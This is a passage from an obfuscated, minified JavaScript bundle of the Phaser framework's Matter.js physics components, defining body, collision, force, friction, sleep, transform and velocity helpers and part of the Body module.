=> { _0x52a79a['exports'] = { 'setBounce': function (_0x2fa7a1) { return this['body']['restitution'] = _0x2fa7a1, this; } }; }, 0x10598: _0x47ebbb => { var _0x86deb7 = { 'setCollisionCategory': function (_0x2ad26e) { return this['body']['collisionFilter']['category'] = _0x2ad26e, this; }, 'setCollisionGroup': function (_0x3e9116) { return this['body']['collisionFilter']['group'] = _0x3e9116, this; }, 'setCollidesWith': function (_0x2e5511) { var _0x521ffc = 0x0; if (Array['isArray'](_0x2e5511)) { for (var _0x510b1a = 0x0; _0x510b1a < _0x2e5511['length']; _0x510b1a++)_0x521ffc |= _0x2e5511[_0x510b1a]; } else _0x521ffc = _0x2e5511; return this['body']['collisionFilter']['mask'] = _0x521ffc, this; }, 'setOnCollide': function (_0x3fdda6) { return this['body']['onCollideCallback'] = _0x3fdda6, this; }, 'setOnCollideEnd': function (_0x1febcb) { return this['body']['onCollideEndCallback'] = _0x1febcb, this; }, 'setOnCollideActive': function (_0x12bdfc) { return this['body']['onCollideActiveCallback'] = _0x12bdfc, this; }, 'setOnCollideWith': function (_0x434209, _0x37c928) { Array['isArray'](_0x434209) || (_0x434209 = [_0x434209]); for (var _0x2ee77c = 0x0; _0x2ee77c < _0x434209['length']; _0x2ee77c++) { var _0x1e943e = _0x434209[_0x2ee77c]['hasOwnProperty']('body') ? _0x434209[_0x2ee77c]['body'] : _0x434209[_0x2ee77c]; this['body']['setOnCollideWith'](_0x1e943e, _0x37c928); } return this; } }; _0x47ebbb['exports'] = _0x86deb7; }, 0xc997: (_0x437f89, _0x2f83f6, _0x3168c7) => { var _0x14b4db = _0x3168c7(0x5822), _0x4deee6 = { 'applyForce': function (_0x3e0b5c) { return this['_tempVec2']['set'](this['body']['position']['x'], this['body']['position']['y']), _0x14b4db['applyForce'](this['body'], this['_tempVec2'], _0x3e0b5c), this; }, 'applyForceFrom': function (_0x3ba69d, _0x261dcf) { return _0x14b4db['applyForce'](this['body'], _0x3ba69d, _0x261dcf), this; }, 'thrust': function (_0x2f7ad5) { var _0x5d76a7 = this['body']['angle']; return this['_tempVec2']['set'](_0x2f7ad5 * Math['cos'](_0x5d76a7), _0x2f7ad5 * Math['sin'](_0x5d76a7)), _0x14b4db['applyForce'](this['body'], { 'x': this['body']['position']['x'], 'y': this['body']['position']['y'] }, this['_tempVec2']), this; }, 'thrustLeft': function (_0x3ceb24) { var _0x1b5407 = this['body']['angle'] - Math['PI'] / 0x2; return this['_tempVec2']['set'](_0x3ceb24 * Math['cos'](_0x1b5407), _0x3ceb24 * Math['sin'](_0x1b5407)), _0x14b4db['applyForce'](this['body'], { 'x': this['body']['position']['x'], 'y': this['body']['position']['y'] }, this['_tempVec2']), this; }, 'thrustRight': function (_0x55c232) { var _0x5c94e9 = this['body']['angle'] + Math['PI'] / 0x2; return this['_tempVec2']['set'](_0x55c232 * Math['cos'](_0x5c94e9), _0x55c232 * Math['sin'](_0x5c94e9)), _0x14b4db['applyForce'](this['body'], { 'x': this['body']['position']['x'], 'y': this['body']['position']['y'] }, this['_tempVec2']), this; }, 'thrustBack': function (_0xf3d3b6) { var _0x5d137c = this['body']['angle'] - Math['PI']; return this['_tempVec2']['set'](_0xf3d3b6 * Math['cos'](_0x5d137c), _0xf3d3b6 * Math['sin'](_0x5d137c)), _0x14b4db['applyForce'](this['body'], { 'x': this['body']['position']['x'], 'y': this['body']['position']['y'] }, this['_tempVec2']), this; } }; _0x437f89['exports'] = _0x4deee6; }, 0x153c: _0xb0572a => { var _0x468b67 = { 'setFriction': function (_0x130236, _0x4a645e, _0x140adb) { return this['body']['friction'] = _0x130236, void 0x0 !== _0x4a645e && (this['body']['frictionAir'] = _0x4a645e), void 0x0 !== _0x140adb && (this['body']['frictionStatic'] = _0x140adb), this; }, 'setFrictionAir': function (_0x56741d) { return this['body']['frictionAir'] = _0x56741d, this; }, 'setFrictionStatic': function (_0x501588) { return this['body']['frictionStatic'] = _0x501588, this; } }; _0xb0572a['exports'] = _0x468b67; }, 0x9bb2: _0x2f8443 => { _0x2f8443['exports'] = { 'setIgnoreGravity': function (_0x3287ea) { return this['body']['ignoreGravity'] = _0x3287ea, this; } }; }, 0x91b6: (_0x1c0fdf, _0x52ac8b, _0x41cff4) => { var _0x47959c = _0x41cff4(0x5822), _0x5cc3ce = _0x41cff4(0x65f3), _0x2373bd = { 'setMass': function (_0x1df6fe) { return _0x47959c['setMass'](this['body'], _0x1df6fe), this; }, 'setDensity': function (_0x2ab6ba) { return _0x47959c['setDensity'](this['body'], _0x2ab6ba), this; }, 'centerOfMass': { 'get': function () { return new _0x5cc3ce(this['body']['centerOfMass']['x'], this['body']['centerOfMass']['y']); } } }; _0x1c0fdf['exports'] = _0x2373bd; }, 0x98dc: _0x4c2612 => { _0x4c2612['exports'] = { 'setSensor': function (_0x3d4a31) { return this['body']['isSensor'] = _0x3d4a31, this; }, 'isSensor': function () { return this['body']['isSensor']; } }; }, 0xe1ac: (_0x210aaf, _0x3e7b43, _0x3ddc34) => { var _0x3a9625 = _0x3ddc34(0x102e8), _0x1fc013 = _0x3ddc34(0x5822), _0x485276 = _0x3ddc34(0xab4f), _0x42925a = _0x3ddc34(0x17534), _0x50703b = _0x3ddc34(0x4c28), _0x42a3dd = _0x3ddc34(0x14f1f), _0x13d85a = _0x3ddc34(0xa27e), _0x18fe1e = { 'setRectangle': function (_0x2610b2, _0x5192aa, _0x31313d) { return this['setBody']({ 'type': 'rectangle', 'width': _0x2610b2, 'height': _0x5192aa }, _0x31313d); }, 'setCircle': function (_0x1b7262, _0x22bb32) { return this['setBody']({ 'type': 'circle', 'radius': _0x1b7262 }, _0x22bb32); }, 'setPolygon': function (_0x65b12c, _0x1dd2d4, _0x30c5fd) { return this['setBody']({ 'type': 'polygon', 'sides': _0x1dd2d4, 'radius': _0x65b12c }, _0x30c5fd); }, 'setTrapezoid': function (_0x12388a, _0x4609b6, _0x36f9b9, _0x3d95d2) { return this['setBody']({ 'type': 'trapezoid', 'width': _0x12388a, 'height': _0x4609b6, 'slope': _0x36f9b9 }, _0x3d95d2); }, 'setExistingBody': function (_0x222d3d, _0x172d1c) { void 0x0 === _0x172d1c && (_0x172d1c = !0x0), this['body'] && this['world']['remove'](this['body'], !0x0), this['body'] = _0x222d3d; for (var _0x3da4b6 = 0x0; _0x3da4b6 < _0x222d3d['parts']['length']; _0x3da4b6++)_0x222d3d['parts'][_0x3da4b6]['gameObject'] = this; var _0x23343e = this; if (_0x222d3d['destroy'] = function () { _0x23343e['world']['remove'](_0x23343e['body'], !0x0), _0x23343e['body']['gameObject'] = null; }, _0x172d1c && (this['world']['has'](_0x222d3d) && this['world']['remove'](_0x222d3d, !0x0), this['world']['add'](_0x222d3d)), this['_originComponent']) { var _0x367650 = _0x222d3d['render']['sprite']['xOffset'], _0x4d26af = _0x222d3d['render']['sprite']['yOffset'], _0x403d03 = _0x222d3d['centerOfMass']['x'], _0x363c2b = _0x222d3d['centerOfMass']['y']; if (_0x485276(_0x403d03, 0.5) && _0x485276(_0x363c2b, 0.5)) this['setOrigin'](_0x367650 + 0.5, _0x4d26af + 0.5); else { var _0x4452b0 = _0x222d3d['centerOffset']['x'], _0x5d3c48 = _0x222d3d['centerOffset']['y']; this['setOrigin'](_0x367650 + _0x4452b0 / this['displayWidth'], _0x4d26af + _0x5d3c48 / this['displayHeight']); } } return this; }, 'setBody': function (_0x2392c4, _0x28d93e) { if (!_0x2392c4) return this; var _0x15c3a0; 'string' == typeof _0x2392c4 && (_0x2392c4 = { 'type': _0x2392c4 }); var _0x563aa9 = _0x42925a(_0x2392c4, 'type', 'rectangle'), _0x2a7d7e = _0x42925a(_0x2392c4, 'x', this['_tempVec2']['x']), _0x5f4dd9 = _0x42925a(_0x2392c4, 'y', this['_tempVec2']['y']), _0x38ffc8 = _0x42925a(_0x2392c4, 'width', this['width']), _0x47be31 = _0x42925a(_0x2392c4, 'height', this['height']); switch (_0x563aa9) { case 'rectangle': _0x15c3a0 = _0x3a9625['rectangle'](_0x2a7d7e, _0x5f4dd9, _0x38ffc8, _0x47be31, _0x28d93e); break; case 'circle': var _0x260b15 = _0x42925a(_0x2392c4, 'radius', Math['max'](_0x38ffc8, _0x47be31) / 0x2), _0x4e68a3 = _0x42925a(_0x2392c4, 'maxSides', 0x19); _0x15c3a0 = _0x3a9625['circle'](_0x2a7d7e, _0x5f4dd9, _0x260b15, _0x28d93e, _0x4e68a3); break; case 'trapezoid': var _0x34a9c7 = _0x42925a(_0x2392c4, 'slope', 0.5); _0x15c3a0 = _0x3a9625['trapezoid'](_0x2a7d7e, _0x5f4dd9, _0x38ffc8, _0x47be31, _0x34a9c7, _0x28d93e); break; case 'polygon': var _0x5a1304 = _0x42925a(_0x2392c4, 'sides', 0x5), _0x552cb4 = _0x42925a(_0x2392c4, 'radius', Math['max'](_0x38ffc8, _0x47be31) / 0x2); _0x15c3a0 = _0x3a9625['polygon'](_0x2a7d7e, _0x5f4dd9, _0x5a1304, _0x552cb4, _0x28d93e); break; case 'fromVertices': case 'fromVerts': var _0x328526 = _0x42925a(_0x2392c4, 'verts', null); if (_0x328526) { if ('string' == typeof _0x328526 && (_0x328526 = _0x13d85a['fromPath'](_0x328526)), this['body'] && !this['body']['hasOwnProperty']('temp')) _0x1fc013['setVertices'](this['body'], _0x328526), _0x15c3a0 = this['body']; else { var _0x2d47c0 = _0x42925a(_0x2392c4, 'flagInternal', !0x1), _0x3254c3 = _0x42925a(_0x2392c4, 'removeCollinear', 0.01), _0x22f356 = _0x42925a(_0x2392c4, 'minimumArea', 0xa); _0x15c3a0 = _0x3a9625['fromVertices'](_0x2a7d7e, _0x5f4dd9, _0x328526, _0x28d93e, _0x2d47c0, _0x3254c3, _0x22f356); } } break; case 'fromPhysicsEditor': _0x15c3a0 = _0x50703b['parseBody'](_0x2a7d7e, _0x5f4dd9, _0x2392c4, _0x28d93e); break; case 'fromPhysicsTracer': _0x15c3a0 = _0x42a3dd['parseBody'](_0x2a7d7e, _0x5f4dd9, _0x2392c4, _0x28d93e); }return _0x15c3a0 && this['setExistingBody'](_0x15c3a0, _0x2392c4['addToWorld']), this; } }; _0x210aaf['exports'] = _0x18fe1e; }, 0x94c3: (_0x3bdbec, _0x5f37e3, _0x3c63d2) => { var _0x5caa8f = _0x3c63d2(0x461), _0x4184d0 = _0x3c63d2(0xd16e), _0x5cc21b = _0x3c63d2(0x8be2), _0x285353 = { 'setToSleep': function () { return _0x4184d0['set'](this['body'], !0x0), this; }, 'setAwake': function () { return _0x4184d0['set'](this['body'], !0x1), this; }, 'setSleepThreshold': function (_0x22c9c6) { return void 0x0 === _0x22c9c6 && (_0x22c9c6 = 0x3c), this['body']['sleepThreshold'] = _0x22c9c6, this; }, 'setSleepEvents': function (_0x312531, _0x3a1c12) { return this['setSleepStartEvent'](_0x312531), this['setSleepEndEvent'](_0x3a1c12), this; }, 'setSleepStartEvent': function (_0x2628c2) { if (_0x2628c2) { var _0x258fbc = this['world']; _0x5cc21b['on'](this['body'], 'sleepStart', function (_0x4e55db) { _0x258fbc['emit'](_0x5caa8f['SLEEP_START'], _0x4e55db, this); }); } else _0x5cc21b['off'](this['body'], 'sleepStart'); return this; }, 'setSleepEndEvent': function (_0x199ef0) { if (_0x199ef0) { var _0x1f58ad = this['world']; _0x5cc21b['on'](this['body'], 'sleepEnd', function (_0x5cad1c) { _0x1f58ad['emit'](_0x5caa8f['SLEEP_END'], _0x5cad1c, this); }); } else _0x5cc21b['off'](this['body'], 'sleepEnd'); return this; } }; _0x3bdbec['exports'] = _0x285353; }, 0x161bc: (_0x2c9ef8, _0x5adf03, _0x2693ff) => { var _0x2e3137 = _0x2693ff(0x5822), _0x21f449 = { 'setStatic': function (_0x366308) { return _0x2e3137['setStatic'](this['body'], _0x366308), this; }, 'isStatic': function () { return this['body']['isStatic']; } }; _0x2c9ef8['exports'] = _0x21f449; }, 0x14dbc: (_0x45f264, _0x502d10, _0x27b075) => { var _0x544f31 = _0x27b075(0x5822), _0x1b7296 = _0x27b075(0x8e1f), _0x5542d7 = _0x27b075(0x1521a), _0x23f882 = _0x27b075(0x78ea), _0x5d3e94 = { 'x': { 'get': function () { return this['body']['position']['x']; }, 'set': function (_0x478e4c) { this['_tempVec2']['set'](_0x478e4c, this['y']), _0x544f31['setPosition'](this['body'], this['_tempVec2']); } }, 'y': { 'get': function () { return this['body']['position']['y']; }, 'set': function (_0x101435) { this['_tempVec2']['set'](this['x'], _0x101435), _0x544f31['setPosition'](this['body'], this['_tempVec2']); } }, 'scaleX': { 'get': function () { return this['_scaleX']; }, 'set': function (_0x3774ab) { var _0x5ec939 = 0x1 / this['_scaleX'], _0x3f97ea = 0x1 / this['_scaleY']; this['_scaleX'] = _0x3774ab, 0x0 === this['_scaleX'] ? this['renderFlags'] &= -0x5 : this['renderFlags'] |= 0x4, _0x544f31['scale'](this['body'], _0x5ec939, _0x3f97ea), _0x544f31['scale'](this['body'], _0x3774ab, this['_scaleY']); } }, 'scaleY': { 'get': function () { return this['_scaleY']; }, 'set': function (_0xb1f633) { var _0x2f9eb0 = 0x1 / this['_scaleX'], _0x5a0f83 = 0x1 / this['_scaleY']; this['_scaleY'] = _0xb1f633, 0x0 === this['_scaleY'] ? this['renderFlags'] &= -0x5 : this['renderFlags'] |= 0x4, _0x544f31['scale'](this['body'], _0x2f9eb0, _0x5a0f83), _0x544f31['scale'](this['body'], this['_scaleX'], _0xb1f633); } }, 'angle': { 'get': function () { return _0x23f882(this['body']['angle'] * _0x1b7296['RAD_TO_DEG']); }, 'set': function (_0x5590a8) { this['rotation'] = _0x23f882(_0x5590a8) * _0x1b7296['DEG_TO_RAD']; } }, 'rotation': { 'get': function () { return this['body']['angle']; }, 'set': function (_0x2d6ce0) { this['_rotation'] = _0x5542d7(_0x2d6ce0), _0x544f31['setAngle'](this['body'], this['_rotation']); } }, 'setPosition': function (_0x5e45de, _0x4505c7) { return void 0x0 === _0x5e45de && (_0x5e45de = 0x0), void 0x0 === _0x4505c7 && (_0x4505c7 = _0x5e45de), this['_tempVec2']['set'](_0x5e45de, _0x4505c7), _0x544f31['setPosition'](this['body'], this['_tempVec2']), this; }, 'setRotation': function (_0x585d14) { return void 0x0 === _0x585d14 && (_0x585d14 = 0x0), this['_rotation'] = _0x5542d7(_0x585d14), _0x544f31['setAngle'](this['body'], _0x585d14), this; }, 'setFixedRotation': function () { return _0x544f31['setInertia'](this['body'], 0x1 / 0x0), this; }, 'setAngle': function (_0x38906d) { return void 0x0 === _0x38906d && (_0x38906d = 0x0), this['angle'] = _0x38906d, _0x544f31['setAngle'](this['body'], this['rotation']), this; }, 'setScale': function (_0x3b01e7, _0x5f0db9, _0x29b636) { void 0x0 === _0x3b01e7 && (_0x3b01e7 = 0x1), void 0x0 === _0x5f0db9 && (_0x5f0db9 = _0x3b01e7); var _0x93ef8c = 0x1 / this['_scaleX'], _0x264d72 = 0x1 / this['_scaleY']; return this['_scaleX'] = _0x3b01e7, this['_scaleY'] = _0x5f0db9, _0x544f31['scale'](this['body'], _0x93ef8c, _0x264d72, _0x29b636), _0x544f31['scale'](this['body'], _0x3b01e7, _0x5f0db9, _0x29b636), this; } }; _0x45f264['exports'] = _0x5d3e94; }, 0xa461: (_0x590c10, _0x81613b, _0x50472b) => { var _0x4c3f14 = _0x50472b(0x5822), _0x3de915 = { 'setVelocityX': function (_0x22124f) { return this['_tempVec2']['set'](_0x22124f, this['body']['velocity']['y']), _0x4c3f14['setVelocity'](this['body'], this['_tempVec2']), this; }, 'setVelocityY': function (_0xf8ad07) { return this['_tempVec2']['set'](this['body']['velocity']['x'], _0xf8ad07), _0x4c3f14['setVelocity'](this['body'], this['_tempVec2']), this; }, 'setVelocity': function (_0x273144, _0x472751) { return this['_tempVec2']['set'](_0x273144, _0x472751), _0x4c3f14['setVelocity'](this['body'], this['_tempVec2']), this; }, 'getVelocity': function () { return _0x4c3f14['getVelocity'](this['body']); }, 'setAngularVelocity': function (_0xb4a597) { return _0x4c3f14['setAngularVelocity'](this['body'], _0xb4a597), this; }, 'getAngularVelocity': function () { return _0x4c3f14['getAngularVelocity'](this['body']); }, 'setAngularSpeed': function (_0x114674) { return _0x4c3f14['setAngularSpeed'](this['body'], _0x114674), this; }, 'getAngularSpeed': function () { return _0x4c3f14['getAngularSpeed'](this['body']); } }; _0x590c10['exports'] = _0x3de915; }, 0x7c8c: (_0xaca4cf, _0x149e92, _0x1b2412) => { _0xaca4cf['exports'] = { 'Bounce': _0x1b2412(0x1130a), 'Collision': _0x1b2412(0x10598), 'Force': _0x1b2412(0xc997), 'Friction': _0x1b2412(0x153c), 'Gravity': _0x1b2412(0x9bb2), 'Mass': _0x1b2412(0x91b6), 'Sensor': _0x1b2412(0x98dc), 'SetBody': _0x1b2412(0xe1ac), 'Sleep': _0x1b2412(0x94c3), 'Static': _0x1b2412(0x161bc), 'Transform': _0x1b2412(0x14dbc), 'Velocity': _0x1b2412(0xa461) }; }, 0x14e68: _0x3b6a21 => { _0x3b6a21['exports'] = 'afteradd'; }, 0x4bd: _0xab0862 => { _0xab0862['exports'] = 'afterremove'; }, 0x6570: _0x33aa4a => { _0x33aa4a['exports'] = 'afterupdate'; }, 0x10685: _0x5e7e7f => { _0x5e7e7f['exports'] = 'beforeadd'; }, 0x9a0e: _0x73e044 => { _0x73e044['exports'] = 'beforeremove'; }, 0xaf17: _0x4b5268 => { _0x4b5268['exports'] = 'beforeupdate'; }, 0x169b1: _0x1b60e7 => { _0x1b60e7['exports'] = 'collisionactive'; }, 0xeae0: _0x5a03af => { _0x5a03af['exports'] = 'collisionend'; }, 0x12c3d: _0xd24d32 => { _0xd24d32['exports'] = 'collisionstart'; }, 0x168ca: _0x2b7e67 => { _0x2b7e67['exports'] = 'dragend'; }, 0x12a78: _0x25f3b9 => { _0x25f3b9['exports'] = 'drag'; }, 0x16f13: _0x2e92e6 => { _0x2e92e6['exports'] = 'dragstart'; }, 0x1618: _0x4dfa64 => { _0x4dfa64['exports'] = 'pause'; }, 0xbaf5: _0x26b06d => { _0x26b06d['exports'] = 'resume'; }, 0x134fb: _0x59554f => { _0x59554f['exports'] = 'sleepend'; }, 0x8c42: _0x36a9a5 => { _0x36a9a5['exports'] = 'sleepstart'; }, 0x461: (_0x6cbc7c, _0x566068, _0x1d90e4) => { _0x6cbc7c['exports'] = { 'AFTER_ADD': _0x1d90e4(0x14e68), 'AFTER_REMOVE': _0x1d90e4(0x4bd), 'AFTER_UPDATE': _0x1d90e4(0x6570), 'BEFORE_ADD': _0x1d90e4(0x10685), 'BEFORE_REMOVE': _0x1d90e4(0x9a0e), 'BEFORE_UPDATE': _0x1d90e4(0xaf17), 'COLLISION_ACTIVE': _0x1d90e4(0x169b1), 'COLLISION_END': _0x1d90e4(0xeae0), 'COLLISION_START': _0x1d90e4(0x12c3d), 'DRAG_END': _0x1d90e4(0x168ca), 'DRAG': _0x1d90e4(0x12a78), 'DRAG_START': _0x1d90e4(0x16f13), 'PAUSE': _0x1d90e4(0x1618), 'RESUME': _0x1d90e4(0xbaf5), 'SLEEP_END': _0x1d90e4(0x134fb), 'SLEEP_START': _0x1d90e4(0x8c42) }; }, 0xf23: (_0x113e2a, _0x1c7a9a, _0x337148) => { _0x113e2a['exports'] = { 'BodyBounds': _0x337148(0x10a4e), 'Components': _0x337148(0x7c8c), 'Events': _0x337148(0x461), 'Factory': _0x337148(0x6de9), 'MatterGameObject': _0x337148(0x1281b), 'Image': _0x337148(0x5a8d), 'Matter': _0x337148(0x4ddd), 'MatterPhysics': _0x337148(0xa43d), 'PolyDecomp': _0x337148(0xdaa5), 'Sprite': _0x337148(0x87f3), 'TileBody': _0x337148(0x1206a), 'PhysicsEditorParser': _0x337148(0x4c28), 'PhysicsJSONParser': _0x337148(0x14f1f), 'PointerConstraint': _0x337148(0x18199), 'World': _0x337148(0x10a93) }; }, 0x5822: (_0x438289, _0x17d091, _0x92db77) => { var _0x508601 = {}; _0x438289['exports'] = _0x508601; var _0x4059c9 = _0x92db77(0xa27e), _0x5f0522 = _0x92db77(0x7bed), _0x3f27b8 = _0x92db77(0xd16e), _0x5d65f0 = _0x92db77(0xd09a), _0x3e687a = _0x92db77(0x3d1f), _0x2ec3b4 = _0x92db77(0x10437); !(function () { _0x508601['_timeCorrection'] = !0x0, _0x508601['_inertiaScale'] = 0x4, _0x508601['_nextCollidingGroupId'] = 0x1, _0x508601['_nextNonCollidingGroupId'] = -0x1, _0x508601['_nextCategory'] = 0x1, _0x508601['_baseDelta'] = 0x3e8 / 0x3c, _0x508601['create'] = function (_0x1efc9) { var _0x5ba6d5 = { 'id': _0x5d65f0['nextId'](), 'type': 'body', 'label': 'Body', 'parts': [], 'plugin': {}, 'attractors': _0x1efc9['attractors'] || [], 'wrapBounds': null, 'angle': 0x0, 'vertices': null, 'position': { 'x': 0x0, 'y': 0x0 }, 'force': { 'x': 0x0, 'y': 0x0 }, 'torque': 0x0, 'positionImpulse': { 'x': 0x0, 'y': 0x0 }, 'constraintImpulse': { 'x': 0x0, 'y': 0x0, 'angle': 0x0 }, 'totalContacts': 0x0, 'speed': 0x0, 'angularSpeed': 0x0, 'velocity': { 'x': 0x0, 'y': 0x0 }, 'angularVelocity': 0x0, 'isSensor': !0x1, 'isStatic': !0x1, 'isSleeping': !0x1, 'motion': 0x0, 'sleepThreshold': 0x3c, 'density': 0.001, 'restitution': 0x0, 'friction': 0.1, 'frictionStatic': 0.5, 'frictionAir': 0.01, 'collisionFilter': { 'category': 0x1, 'mask': 0xffffffff, 'group': 0x0 }, 'slop': 0.05, 'timeScale': 0x1, 'events': null, 'bounds': null, 'chamfer': null, 'circleRadius': 0x0, 'positionPrev': null, 'anglePrev': 0x0, 'parent': null, 'axes': null, 'area': 0x0, 'mass': 0x0, 'inverseMass': 0x0, 'inertia': 0x0, 'deltaTime': 0x3e8 / 0x3c, 'inverseInertia': 0x0, '_original': null, 'render': { 'visible': !0x0, 'opacity': 0x1, 'sprite': { 'xOffset': 0x0, 'yOffset': 0x0 }, 'fillColor': null, 'fillOpacity': null, 'lineColor': null, 'lineOpacity': null, 'lineThickness': null }, 'gameObject': null, 'scale': { 'x': 0x1, 'y': 0x1 }, 'centerOfMass': { 'x': 0x0, 'y': 0x0 }, 'centerOffset': { 'x': 0x0, 'y': 0x0 }, 'gravityScale': { 'x': 0x1, 'y': 0x1 }, 'ignoreGravity': !0x1, 'ignorePointer': !0x1, 'onCollideCallback': null, 'onCollideEndCallback': null, 'onCollideActiveCallback': null, 'onCollideWith': {} }; !_0x1efc9['hasOwnProperty']('position') && _0x1efc9['hasOwnProperty']('vertices') ? _0x1efc9['position'] = _0x4059c9['centre'](_0x1efc9['vertices']) : _0x1efc9['hasOwnProperty']('vertices') || (_0x5ba6d5['vertices'] = _0x4059c9['fromPath']('L\x200\x200\x20L\x2040\x200\x20L\x2040\x2040\x20L\x200\x2040')); var _0x43e8f0 = _0x5d65f0['extend'](_0x5ba6d5, _0x1efc9); return _0xc4a0ec(_0x43e8f0, _0x1efc9), _0x43e8f0['setOnCollideWith'] = function (_0x54c72d, _0x111560) { return _0x111560 ? this['onCollideWith'][_0x54c72d['id']] = _0x111560 : delete this['onCollideWith'][_0x54c72d['id']], this; }, _0x43e8f0; }, _0x508601['nextGroup'] = function (_0x52af11) { return _0x52af11 ? _0x508601['_nextNonCollidingGroupId']-- : _0x508601['_nextCollidingGroupId']++; }, _0x508601['nextCategory'] = function () { return _0x508601['_nextCategory'] = _0x508601['_nextCategory'] << 0x1, _0x508601['_nextCategory']; }; var _0xc4a0ec = function (_0x55bdd3, _0x190e58) { if (_0x190e58 = _0x190e58 || {}, _0x508601['set'](_0x55bdd3, { 'bounds': _0x55bdd3['bounds'] || _0x3e687a['create'](_0x55bdd3['vertices']), 'positionPrev': _0x55bdd3['positionPrev'] || _0x5f0522['clone'](_0x55bdd3['position']), 'anglePrev': _0x55bdd3['anglePrev'] || _0x55bdd3['angle'], 'vertices': _0x55bdd3['vertices'], 'parts': _0x55bdd3['parts'] || [_0x55bdd3], 'isStatic': _0x55bdd3['isStatic'], 'isSleeping': _0x55bdd3['isSleeping'], 'parent': _0x55bdd3['parent'] || _0x55bdd3 }), _0x4059c9['rotate'](_0x55bdd3['vertices'], _0x55bdd3['angle'], _0x55bdd3['position']), _0x2ec3b4['rotate'](_0x55bdd3['axes'], _0x55bdd3['angle']), _0x3e687a['update'](_0x55bdd3['bounds'], _0x55bdd3['vertices'], _0x55bdd3['velocity']), _0x508601['set'](_0x55bdd3, { 'axes': _0x190e58['axes'] || _0x55bdd3['axes'], 'area': _0x190e58['area'] || _0x55bdd3['area'], 'mass': _0x190e58['mass'] || _0x55bdd3['mass'], 'inertia': _0x190e58['inertia'] || _0x55bdd3['inertia'] }), 0x1 === _0x55bdd3['parts']['length']) { var _0x31f412 = _0x55bdd3['bounds'], _0x270383 = _0x55bdd3['centerOfMass'], _0x30fb4d = _0x55bdd3['centerOffset'], _0x4367ff = _0x31f412['max']['x'] - _0x31f412['min']['x'], _0x18858b = _0x31f412['max']['y'] - _0x31f412['min']['y']; _0x270383['x'] = -(_0x31f412['min']['x'] - _0x55bdd3['position']['x']) / _0x4367ff, _0x270383['y'] = -(_0x31f412['min']['y'] - _0x55bdd3['position']['y']) / _0x18858b, _0x30fb4d['x'] = _0x4367ff * _0x270383['x'], _0x30fb4d['y'] = _0x18858b * _0x270383['y']; } }; _0x508601['set'] = function (_0x3c484b, _0x5a09b3, _0x1a7264) { var _0x5d8e55; for (_0x5d8e55 in ('string' == typeof _0x5a09b3 && (_0x5d8e55 = _0x5a09b3, (_0x5a09b3 = {})[_0x5d8e55] = _0x1a7264), _0x5a09b3)) if (Object['prototype']['hasOwnProperty']['call'](_0x5a09b3, _0x5d8e55)) switch (_0x1a7264 = _0x5a09b3[_0x5d8e55], _0x5d8e55) { case 'isStatic': _0x508601['setStatic'](_0x3c484b, _0x1a7264); break; case 'isSleeping': _0x3f27b8['set'](_0x3c484b, _0x1a7264); break; case 'mass': _0x508601['setMass'](_0x3c484b, _0x1a7264); break; case 'density': _0x508601['setDensity'](_0x3c484b, _0x1a7264); break; case 'inertia': _0x508601['setInertia'](_0x3c484b, _0x1a7264); break; case 'vertices': _0x508601['setVertices'](_0x3c484b, _0x1a7264); break; case 'position': _0x508601['setPosition'](_0x3c484b, _0x1a7264); break; case 'angle': _0x508601['setAngle'](_0x3c484b, _0x1a7264); break; case 'velocity': _0x508601['setVelocity'](_0x3c484b, _0x1a7264); break; case 'angularVelocity': _0x508601['setAngularVelocity'](_0x3c484b, _0x1a7264); break; case 'speed': _0x508601['setSpeed'](_0x3c484b, _0x1a7264); break; case 'angularSpeed': _0x508601['setAngularSpeed'](_0x3c484b, _0x1a7264); break; case 'parts': _0x508601['setParts'](_0x3c484b, _0x1a7264); break; case 'centre': _0x508601['setCentre'](_0x3c484b, _0x1a7264); break; default: _0x3c484b[_0x5d8e55] = _0x1a7264; } }, _0x508601['setStatic'] = function (_0x46bfd9, _0x5dde1b) { for (var _0x1634a5 = 0x0; _0x1634a5 < _0x46bfd9['parts']['length']; _0x1634a5++) { var _0x40265f = _0x46bfd9['parts'][_0x1634a5]; _0x5dde1b ? (_0x40265f['isStatic'] || (_0x40265f['_original'] = { 'restitution': _0x40265f['restitution'], 'friction': _0x40265f['friction'], 'mass': _0x40265f['mass'], 'inertia': _0x40265f['inertia'], 'density': _0x40265f['density'], 'inverseMass': _0x40265f['inverseMass'], 'inverseInertia': _0x40265f['inverseInertia'] }), _0x40265f['restitution'] = 0x0, _0x40265f['friction'] = 0x1, _0x40265f['mass'] = _0x40265f['inertia'] = _0x40265f['density'] = 0x1 / 0x0, _0x40265f['inverseMass'] = _0x40265f['inverseInertia'] = 0x0, _0x40265f['positionPrev']['x'] = _0x40265f['position']['x'], _0x40265f['positionPrev']['y'] = _0x40265f['position']['y'], _0x40265f['anglePrev'] = _0x40265f['angle'], _0x40265f['angularVelocity'] = 0x0, _0x40265f['speed'] = 0x0, _0x40265f['angularSpeed'] = 0x0, _0x40265f['motion'] = 0x0) : _0x40265f['_original'] && (_0x40265f['restitution'] = _0x40265f['_original']['restitution'], _0x40265f['friction'] = _0x40265f['_original']['friction'], _0x40265f['mass'] = _0x40265f['_original']['mass'], _0x40265f['inertia'] = _0x40265f['_original']['inertia'], _0x40265f['density'] = _0x40265f['_original']['density'], _0x40265f['inverseMass'] = _0x40265f['_original']['inverseMass'], _0x40265f['inverseInertia'] = _0x40265f['_original']['inverseInertia'], _0x40265f['_original'] = null), _0x40265f['isStatic'] = _0x5dde1b; } }, _0x508601['setMass'] = function (_0x551a65, _0x30e365) { var _0x1acd6e = _0x551a65['inertia'] / (_0x551a65['mass'] / 0x6); _0x551a65['inertia'] = _0x1acd6e * (_0x30e365 / 0x6), _0x551a65['inverseInertia'] = 0x1 / _0x551a65['inertia'], _0x551a65['mass'] = _0x30e365, _0x551a65['inverseMass'] = 0x1 / _0x551a65['mass'], _0x551a65['density'] = _0x551a65['mass'] / _0x551a65['area']; }, _0x508601['setDensity'] = function (_0xa9a3b9, _0x5330d7) { _0x508601['setMass'](_0xa9a3b9, _0x5330d7 * _0xa9a3b9['area']), _0xa9a3b9['density'] = _0x5330d7; }, _0x508601['setInertia'] = function (_0xe208a, _0x551912) { _0xe208a['inertia'] = _0x551912, _0xe208a['inverseInertia'] = 0x1 / _0xe208a['inertia']; }, _0x508601['setVertices'] = function (_0x51e319, _0x2e5e84) { _0x2e5e84[0x0]['body'] === _0x51e319 ? _0x51e319['vertices'] = _0x2e5e84 : _0x51e319['vertices'] = _0x4059c9['create'](_0x2e5e84, _0x51e319), _0x51e319['axes'] = 